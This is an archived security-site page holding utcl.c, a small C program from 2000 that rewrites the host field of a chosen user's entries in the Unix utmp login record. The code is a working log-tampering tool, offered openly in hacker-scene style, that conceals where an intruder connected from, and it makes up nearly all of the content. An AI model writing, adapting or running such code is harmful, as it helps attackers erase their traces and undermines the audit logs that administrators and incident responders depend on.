what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

utcl.c

utcl.c
Posted Feb 11, 2000
Authored by teso

cloak users utmp host entry

SHA-256 | c0c9242b12e010e91bd24cd3baa34312c62ad75a6009c50c5b81b94971b8d773

utcl.c

Change Mirror Download
/*  HiHo,
this utility changes the host of a given username (all his logins affected)
usage is utcl <user> <host> where host is the desired host (only 20 chars)

this piec of software is mostly ripped from ute.c which i found on my hdd
and dont know where it came from.. many thanks to the author of this one..
thanks goes also out to xdr who gave me the idea of writing this (he wrote
such thingie, but then lost it @#$! ;)

have fun...
-hendy (flames to hendy@winterland.net)

greetings: (oh, this is lame, i know) to #!teso, #hax, #hack

// hope it's not too lame

*/

#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
// #define UTMP_FILE "/var/run/utmp" /* should have been defined in utmp.h */
#define MAX_ENT 100

int
main (int argc, char **argv)
{
int item;
struct utmp Entry[MAX_ENT + 1];
off_t position[MAX_ENT + 1];
FILE *fptr;

if (argc < 3)
{
printf ("usage: %s <user> <host>\n", argv[0]);
exit (1);
}

if ((fptr = fopen (UTMP_FILE, "r+")) != NULL)
{
int last, num, i = 1; /* get all utmp entries. */
while (fread (&Entry[i], sizeof (Entry[i]), 1, fptr) > 0)
{
if (strcmp (Entry[i].ut_line, "") != 0) /* skip empty entries */
{
position[i] = ftell (fptr) - (long) (sizeof (Entry[i]));
i++;
}
}
last = i - 1; /* keep a tab on how many entries there are. */
position[i] = ftell (fptr); /* keep track of EOF */

for (item = 1; item <= last; item++)
{

if (!(strcmp (Entry[item].ut_name, argv[1])))
{
strcpy (Entry[item].ut_host, argv[2]); /* insert new host */
fseek (fptr, position[item], SEEK_SET); /* seek position in utmp */
fwrite (&Entry[item], sizeof (Entry[num]), 1, fptr); /* write to file */

}
}


fclose (fptr);
}
else
{
printf ("\nERROR: cannot open file %s \n", UTMP_FILE);
}
return (0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close